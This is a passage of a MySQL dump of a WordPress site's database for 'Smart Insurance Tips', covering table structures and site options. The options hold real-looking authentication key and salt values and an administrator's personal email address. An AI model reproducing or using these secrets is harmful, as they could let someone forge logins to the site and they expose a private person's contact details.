--
-- Host: localhost    Database: smartinsurance_wp1
-- ------------------------------------------------------


--
-- Table structure for table `smart_commentmeta`
--

CREATE TABLE `smart_commentmeta` (
  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext DEFAULT NULL,
  PRIMARY KEY (`meta_id`),
  KEY `comment_id` (`comment_id`),
  KEY `meta_key` (`meta_key`(191))
) ENGINE=MyISAM AUTO_INCREMENT=344 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_commentmeta`
--


--
-- Table structure for table `smart_comments`
--

CREATE TABLE `smart_comments` (
  `comment_ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `comment_post_ID` bigint(20) unsigned NOT NULL DEFAULT 0,
  `comment_author` tinytext NOT NULL,
  `comment_author_email` varchar(100) NOT NULL DEFAULT '',
  `comment_author_url` varchar(200) NOT NULL DEFAULT '',
  `comment_author_IP` varchar(100) NOT NULL DEFAULT '',
  `comment_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `comment_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `comment_content` text NOT NULL,
  `comment_karma` int(11) NOT NULL DEFAULT 0,
  `comment_approved` varchar(20) NOT NULL DEFAULT '1',
  `comment_agent` varchar(255) NOT NULL DEFAULT '',
  `comment_type` varchar(20) NOT NULL DEFAULT 'comment',
  `comment_parent` bigint(20) unsigned NOT NULL DEFAULT 0,
  `user_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  PRIMARY KEY (`comment_ID`),
  KEY `comment_post_ID` (`comment_post_ID`),
  KEY `comment_approved_date_gmt` (`comment_approved`,`comment_date_gmt`),
  KEY `comment_date_gmt` (`comment_date_gmt`),
  KEY `comment_parent` (`comment_parent`),
  KEY `comment_author_email` (`comment_author_email`(10))
) ENGINE=MyISAM AUTO_INCREMENT=126 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_comments`
--


--
-- Table structure for table `smart_links`
--

CREATE TABLE `smart_links` (
  `link_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `link_url` varchar(255) NOT NULL DEFAULT '',
  `link_name` varchar(255) NOT NULL DEFAULT '',
  `link_image` varchar(255) NOT NULL DEFAULT '',
  `link_target` varchar(25) NOT NULL DEFAULT '',
  `link_description` varchar(255) NOT NULL DEFAULT '',
  `link_visible` varchar(20) NOT NULL DEFAULT 'Y',
  `link_owner` bigint(20) unsigned NOT NULL DEFAULT 1,
  `link_rating` int(11) NOT NULL DEFAULT 0,
  `link_updated` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `link_rel` varchar(255) NOT NULL DEFAULT '',
  `link_notes` mediumtext NOT NULL,
  `link_rss` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`link_id`),
  KEY `link_visible` (`link_visible`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_links`
--


--
-- Table structure for table `smart_options`
--

CREATE TABLE `smart_options` (
  `option_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `option_name` varchar(191) NOT NULL DEFAULT '',
  `option_value` longtext NOT NULL,
  `autoload` varchar(20) NOT NULL DEFAULT 'yes',
  PRIMARY KEY (`option_id`),
  UNIQUE KEY `option_name` (`option_name`),
  KEY `autoload` (`autoload`)
) ENGINE=MyISAM AUTO_INCREMENT=829441 DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

--
-- Dumping data for table `smart_options`
--

INSERT INTO `smart_options` VALUES (1,'siteurl','http://smartinsurance.tips','yes'),(2,'home','http://smartinsurance.tips','yes'),(3,'blogname','Smart Insurance Tips','yes'),(4,'blogdescription','','yes'),(5,'users_can_register','0','yes'),(6,'admin_email','mikedemko@gmail.com','yes'),(7,'start_of_week','1','yes'),(8,'use_balanceTags','0','yes'),(9,'use_smilies','1','yes'),(10,'require_name_email','1','yes'),(11,'comments_notify','1','yes'),(12,'posts_per_rss','10','yes'),(13,'rss_use_excerpt','0','yes'),(14,'mailserver_url','mail.example.com','yes'),(15,'mailserver_login','login@example.com','yes'),(16,'mailserver_pass','password','yes'),(17,'mailserver_port','110','yes'),(18,'default_category','1','yes'),(19,'default_comment_status','open','yes'),(20,'default_ping_status','open','yes'),(21,'default_pingback_flag','1','yes'),(22,'posts_per_page','1','yes'),(23,'date_format','F j, Y','yes'),(24,'time_format','g:i a','yes'),(25,'links_updated_date_format','F j, Y g:i a','yes'),(26,'comment_moderation','0','yes'),(27,'moderation_notify','1','yes'),(28,'permalink_structure','/%postname%/','yes'),(29,'rewrite_rules','a:94:{s:11:\"^wp-json/?$\";s:22:\"index.php?rest_route=/\";s:14:\"^wp-json/(.*)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:21:\"^index.php/wp-json/?$\";s:22:\"index.php?rest_route=/\";s:24:\"^index.php/wp-json/(.*)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:17:\"^wp-sitemap\\.xml$\";s:23:\"index.php?sitemap=index\";s:17:\"^wp-sitemap\\.xsl$\";s:36:\"index.php?sitemap-stylesheet=sitemap\";s:23:\"^wp-sitemap-index\\.xsl$\";s:34:\"index.php?sitemap-stylesheet=index\";s:48:\"^wp-sitemap-([a-z]+?)-([a-z\\d_-]+?)-(\\d+?)\\.xml$\";s:75:\"index.php?sitemap=$matches[1]&sitemap-subtype=$matches[2]&paged=$matches[3]\";s:34:\"^wp-sitemap-([a-z]+?)-(\\d+?)\\.xml$\";s:47:\"index.php?sitemap=$matches[1]&paged=$matches[2]\";s:47:\"category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:52:\"index.php?category_name=$matches[1]&feed=$matches[2]\";s:42:\"category/(.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:52:\"index.php?category_name=$matches[1]&feed=$matches[2]\";s:23:\"category/(.+?)/embed/?$\";s:46:\"index.php?category_name=$matches[1]&embed=true\";s:35:\"category/(.+?)/page/?([0-9]{1,})/?$\";s:53:\"index.php?category_name=$matches[1]&paged=$matches[2]\";s:17:\"category/(.+?)/?$\";s:35:\"index.php?category_name=$matches[1]\";s:44:\"tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?tag=$matches[1]&feed=$matches[2]\";s:39:\"tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?tag=$matches[1]&feed=$matches[2]\";s:20:\"tag/([^/]+)/embed/?$\";s:36:\"index.php?tag=$matches[1]&embed=true\";s:32:\"tag/([^/]+)/page/?([0-9]{1,})/?$\";s:43:\"index.php?tag=$matches[1]&paged=$matches[2]\";s:14:\"tag/([^/]+)/?$\";s:25:\"index.php?tag=$matches[1]\";s:45:\"type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?post_format=$matches[1]&feed=$matches[2]\";s:40:\"type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?post_format=$matches[1]&feed=$matches[2]\";s:21:\"type/([^/]+)/embed/?$\";s:44:\"index.php?post_format=$matches[1]&embed=true\";s:33:\"type/([^/]+)/page/?([0-9]{1,})/?$\";s:51:\"index.php?post_format=$matches[1]&paged=$matches[2]\";s:15:\"type/([^/]+)/?$\";s:33:\"index.php?post_format=$matches[1]\";s:12:\"robots\\.txt$\";s:18:\"index.php?robots=1\";s:13:\"favicon\\.ico$\";s:19:\"index.php?favicon=1\";s:48:\".*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\\.php$\";s:18:\"index.php?feed=old\";s:20:\".*wp-app\\.php(/.*)?$\";s:19:\"index.php?error=403\";s:18:\".*wp-register.php$\";s:23:\"index.php?register=true\";s:32:\"feed/(feed|rdf|rss|rss2|atom)/?$\";s:27:\"index.php?&feed=$matches[1]\";s:27:\"(feed|rdf|rss|rss2|atom)/?$\";s:27:\"index.php?&feed=$matches[1]\";s:8:\"embed/?$\";s:21:\"index.php?&embed=true\";s:20:\"page/?([0-9]{1,})/?$\";s:28:\"index.php?&paged=$matches[1]\";s:27:\"comment-page-([0-9]{1,})/?$\";s:41:\"index.php?&page_id=1789&cpage=$matches[1]\";s:41:\"comments/feed/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?&feed=$matches[1]&withcomments=1\";s:36:\"comments/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?&feed=$matches[1]&withcomments=1\";s:17:\"comments/embed/?$\";s:21:\"index.php?&embed=true\";s:44:\"search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:40:\"index.php?s=$matches[1]&feed=$matches[2]\";s:39:\"search/(.+)/(feed|rdf|rss|rss2|atom)/?$\";s:40:\"index.php?s=$matches[1]&feed=$matches[2]\";s:20:\"search/(.+)/embed/?$\";s:34:\"index.php?s=$matches[1]&embed=true\";s:32:\"search/(.+)/page/?([0-9]{1,})/?$\";s:41:\"index.php?s=$matches[1]&paged=$matches[2]\";s:14:\"search/(.+)/?$\";s:23:\"index.php?s=$matches[1]\";s:47:\"author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?author_name=$matches[1]&feed=$matches[2]\";s:42:\"author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?author_name=$matches[1]&feed=$matches[2]\";s:23:\"author/([^/]+)/embed/?$\";s:44:\"index.php?author_name=$matches[1]&embed=true\";s:35:\"author/([^/]+)/page/?([0-9]{1,})/?$\";s:51:\"index.php?author_name=$matches[1]&paged=$matches[2]\";s:17:\"author/([^/]+)/?$\";s:33:\"index.php?author_name=$matches[1]\";s:69:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:80:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:64:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:80:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:45:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/embed/?$\";s:74:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&embed=true\";s:57:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:81:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&paged=$matches[4]\";s:39:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$\";s:63:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]\";s:56:\"([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:64:\"index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:51:\"([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:64:\"index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:32:\"([0-9]{4})/([0-9]{1,2})/embed/?$\";s:58:\"index.php?year=$matches[1]&monthnum=$matches[2]&embed=true\";s:44:\"([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:65:\"index.php?year=$matches[1]&monthnum=$matches[2]&paged=$matches[3]\";s:26:\"([0-9]{4})/([0-9]{1,2})/?$\";s:47:\"index.php?year=$matches[1]&monthnum=$matches[2]\";s:43:\"([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?year=$matches[1]&feed=$matches[2]\";s:38:\"([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?year=$matches[1]&feed=$matches[2]\";s:19:\"([0-9]{4})/embed/?$\";s:37:\"index.php?year=$matches[1]&embed=true\";s:31:\"([0-9]{4})/page/?([0-9]{1,})/?$\";s:44:\"index.php?year=$matches[1]&paged=$matches[2]\";s:13:\"([0-9]{4})/?$\";s:26:\"index.php?year=$matches[1]\";s:27:\".?.+?/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:37:\".?.+?/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:57:\".?.+?/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:52:\".?.+?/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:52:\".?.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:33:\".?.+?/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:16:\"(.?.+?)/embed/?$\";s:41:\"index.php?pagename=$matches[1]&embed=true\";s:20:\"(.?.+?)/trackback/?$\";s:35:\"index.php?pagename=$matches[1]&tb=1\";s:40:\"(.?.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:35:\"(.?.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:28:\"(.?.+?)/page/?([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&paged=$matches[2]\";s:35:\"(.?.+?)/comment-page-([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&cpage=$matches[2]\";s:24:\"(.?.+?)(?:/([0-9]+))?/?$\";s:47:\"index.php?pagename=$matches[1]&page=$matches[2]\";s:27:\"[^/]+/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:37:\"[^/]+/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:57:\"[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:52:\"[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:52:\"[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:33:\"[^/]+/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:16:\"([^/]+)/embed/?$\";s:37:\"index.php?name=$matches[1]&embed=true\";s:20:\"([^/]+)/trackback/?$\";s:31:\"index.php?name=$matches[1]&tb=1\";s:40:\"([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?name=$matches[1]&feed=$matches[2]\";s:35:\"([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?name=$matches[1]&feed=$matches[2]\";s:28:\"([^/]+)/page/?([0-9]{1,})/?$\";s:44:\"index.php?name=$matches[1]&paged=$matches[2]\";s:35:\"([^/]+)/comment-page-([0-9]{1,})/?$\";s:44:\"index.php?name=$matches[1]&cpage=$matches[2]\";s:24:\"([^/]+)(?:/([0-9]+))?/?$\";s:43:\"index.php?name=$matches[1]&page=$matches[2]\";s:16:\"[^/]+/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:26:\"[^/]+/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:46:\"[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:41:\"[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:41:\"[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:22:\"[^/]+/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";}','yes'),(33449,'auth_key',')|z~jcmZ8kLdx #vnvpNnWLYEQNvU>om;[eQ-[~:{  s(/bA+@M4#/lA4QrU5r3d','no'),(33450,'auth_salt','_%i|&aM)7h(W[d]osfTf2{k|nuJ1}*5e3dI*f)7=9dwzc1l+ae!ixk{V ]4s^#=:','no'),(30,'hack_file','0','yes'),(31,'blog_charset','UTF-8','yes'),(32,'moderation_keys','','no'),(33,'active_plugins','a:4:{i:0;s:19:\"akismet/akismet.php\";i:1;s:37:\"disable-comments/disable-comments.php\";i:2;s:35:\"insert-headers-and-footers/ihaf.php\";i:3;s:39:\"wp-file-manager/file_folder_manager.php\";}','yes'),(775425,'widget_akismet_widget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(34,'category_base','','yes'),(35,'ping_sites','http://rpc.pingomatic.com/','yes'),(36,'comment_max_links','2','yes'),(37,'gmt_offset','0','yes'),(38,'default_email_category','1','yes'),(39,'recently_edited','a:2:{i:0;s:77:\"/home/channel/smartinsurance.tips/wp-content/themes/twentytwentyone/style.css\";i:1;s:0:\"\";}','no'),(40,'template','twentytwentythree','yes'),(41,'stylesheet','twentytwentythree','yes'),(19401,'finished_updating_comment_type','1','yes'),(44,'comment_registration','0','yes'),(45,'html_type','text/html','yes'),(46,'use_trackback','0','yes'),(47,'default_role','subscriber','yes'),(48,'db_version','55853','yes'),(49,'uploads_use_yearmonth_folders','1','yes'),(50,'upload_path','','yes'),(51,'blog_public','1','yes'),(52,'default_link_category','0','yes'),(53,'show_on_front','page','yes'),(54,'tag_base','','yes'),(55,'show_avatars','1','yes'),(56,'avatar_rating','G','yes'),(57,'upload_url_path','','yes'),(58,'thumbnail_size_w','150','yes'),(59,'thumbnail_size_h','150','yes'),(60,'thumbnail_crop','1','yes'),(61,'medium_size_w','300','yes'),(62,'medium_size_h','300','yes'),(63,'avatar_default','mystery','yes'),(64,'large_size_w','1024','yes'),(65,'large_size_h','1024','yes'),(66,'image_default_link_type','none','yes'),(67,'image_default_size','','yes'),(68,'image_default_align','','yes'),(69,'close_comments_for_old_posts','0','yes'),(70,'close_comments_days_old','14','yes'),(71,'thread_comments','1','yes'),(72,'thread_comments_depth','5','yes'),(73,'page_comments','0','yes'),(74,'comments_per_page','50','yes'),(75,'default_comments_page','newest','yes'),(76,'comment_order','asc','yes'),(77,'sticky_posts','a:0:{}','yes'),(78,'widget_categories','a:2:{i:2;a:4:{s:5:\"title\";s:0:\"\";s:5:\"count\";i:0;s:12:\"hierarchical\";i:0;s:8:\"dropdown\";i:0;}s:12:\"_multiwidget\";i:1;}','yes'),(79,'widget_text','a:2:{i:1;a:0:{}s:12:\"_multiwidget\";i:1;}','yes'),(80,'widget_rss','a:2:{i:1;a:0:{}s:12:\"_multiwidget\";i:1;}','yes'),(81,'uninstall_plugins','a:2:{s:27:\"wp-pagenavi/wp-pagenavi.php\";s:14:\"__return_false\";s:39:\"simple-custom-css/simple-custom-css.php\";s:15:\"sccss_uninstall\";}','no'),(82,'timezone_string','','yes'),(83,'page_for_posts','0','yes'),(84,'page_on_front','1789','yes'),(85,'default_post_format','0','yes'),(86,'link_manager_enabled','0','yes'),(87,'finished_splitting_shared_terms','1','yes'),(88,'site_icon','1766','yes'),(89,'medium_large_size_w','768','yes'),(90,'medium_large_size_h','0','yes'),(91,'wp_page_for_privacy_policy','3','yes'),(92,'show_comments_cookies_opt_in','1','yes'),(93,'initial_db_version','44719','yes'),(94,'smart_user_roles','a:5:{s:13:\"administrator\";a:2:{s:4:\"name\";s:13:\"Administrator\";s:12:\"capabilities\";a:69:{s:13:\"switch_themes\";b:1;s:11:\"edit_themes\";b:1;s:16:\"activate_plugins\";b:1;s:12:\"edit_plugins\";b:1;s:10:\"edit_users\";b:1;s:10:\"edit_files\";b:1;s:14:\"manage_options\";b:1;s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:6:\"import\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:8:\"level_10\";b:1;s:7:\"level_9\";b:1;s:7:\"level_8\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;s:12:\"delete_users\";b:1;s:12:\"create_users\";b:1;s:17:\"unfiltered_upload\";b:1;s:14:\"edit_dashboard\";b:1;s:14:\"update_plugins\";b:1;s:14:\"delete_plugins\";b:1;s:15:\"install_plugins\";b:1;s:13:\"update_themes\";b:1;s:14:\"install_themes\";b:1;s:11:\"update_core\";b:1;s:10:\"list_users\";b:1;s:12:\"remove_users\";b:1;s:13:\"promote_users\";b:1;s:18:\"edit_theme_options\";b:1;s:13:\"delete_themes\";b:1;s:6:\"export\";b:1;s:17:\"et_support_center\";b:1;s:24:\"et_support_center_system\";b:1;s:31:\"et_support_center_remote_access\";b:1;s:31:\"et_support_center_documentation\";b:1;s:27:\"et_support_center_safe_mode\";b:1;s:22:\"et_support_center_logs\";b:1;s:20:\"wpcode_edit_snippets\";b:1;s:24:\"wpcode_activate_snippets\";b:1;}}s:6:\"editor\";a:2:{s:4:\"name\";s:6:\"Editor\";s:12:\"capabilities\";a:34:{s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;}}s:6:\"author\";a:2:{s:4:\"name\";s:6:\"Author\";s:12:\"capabilities\";a:10:{s:12:\"upload_files\";b:1;s:10:\"edit_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;s:22:\"delete_published_posts\";b:1;}}s:11:\"contributor\";a:2:{s:4:\"name\";s:11:\"Contributor\";s:12:\"capabilities\";a:5:{s:10:\"edit_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;}}s:10:\"subscriber\";a:2:{s:4:\"name\";s:10:\"Subscriber\";s:12:\"capabilities\";a:2:{s:4:\"read\";b:1;s:7:\"level_0\";b:1;}}}','yes'),(95,'fresh_site','0','yes'),(96,'widget_search','a:2:{i:2;a:1:{s:5:\"title\";s:0:\"\";}s:12:\"_multiwidget\";i:1;}','yes'),(97,'widget_recent-posts','a:2:{i:2;a:2:{s:5:\"title\";s:0:\"\";s:6:\"number\";i:5;}s:12:\"_multiwidget\";i:1;}','yes'),(98,'widget_recent-comments','a:2:{i:2;a:2:{s:5:\"title\";s:0:\"\";s:6:\"number\";i:5;}s:12:\"_multiwidget\";i:1;}','yes'),(99,'widget_archives','a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:5:\"count\";i:0;s:8:\"dropdown\";i:0;}s:12:\"_multiwidget\";i:1;}','yes'),(100,'widget_meta','a:2:{i:2;a:1:{s:5:\"title\";s:0:\"\";}s:12:\"_multiwidget\";i:1;}','yes'),(101,'sidebars_widgets','a:2:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:13:\"array_version\";i:3;}','yes'),(108,'widget_media_video','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(109,'widget_tag_cloud','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(110,'widget_nav_menu','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(111,'widget_custom_html','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(113,'theme_mods_twentynineteen','a:2:{s:18:\"custom_css_post_id\";i:-1;s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1576890378;s:4:\"data\";a:2:{s:19:\"wp_inactive_widgets\";a:0:{}s:9:\"sidebar-1\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}}}}','yes'),(141,'recently_activated','a:0:{}','yes'),(390,'et_google_api_settings','a:3:{s:7:\"api_key\";s:0:\"\";s:26:\"enqueue_google_maps_script\";s:2:\"on\";s:16:\"use_google_fonts\";s:2:\"on\";}','yes'),(102,'cron','a:11:{i:1717468367;a:1:{s:34:\"wp_privacy_delete_old_export_files\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}i:1717496105;a:1:{s:18:\"wp_https_detection\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}}i:1717504367;a:3:{s:17:\"wp_update_plugins\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}s:16:\"wp_update_themes\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}s:16:\"wp_version_check\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}}i:1717509896;a:1:{s:21:\"wp_update_user_counts\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:10:\"twicedaily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:43200;}}}i:1717547567;a:1:{s:32:\"recovery_mode_clean_expired_keys\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}i:1717547823;a:2:{s:19:\"wp_scheduled_delete\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}s:25:\"delete_expired_transients\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}i:1717547825;a:1:{s:30:\"wp_scheduled_auto_draft_delete\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:5:\"daily\";s:4:\"args\";a:0:{}s:8:\"interval\";i:86400;}}}i:1717570316;a:1:{s:26:\"wpcode_usage_tracking_cron\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"weekly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:604800;}}}i:1717639887;a:1:{s:30:\"wp_delete_temp_updater_backups\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"weekly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:604800;}}}i:1717798504;a:1:{s:30:\"wp_site_health_scheduled_check\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"weekly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:604800;}}}s:7:\"version\";i:2;}','yes'),(103,'widget_pages','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(104,'widget_calendar','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(105,'widget_media_audio','a:1:{s:12:\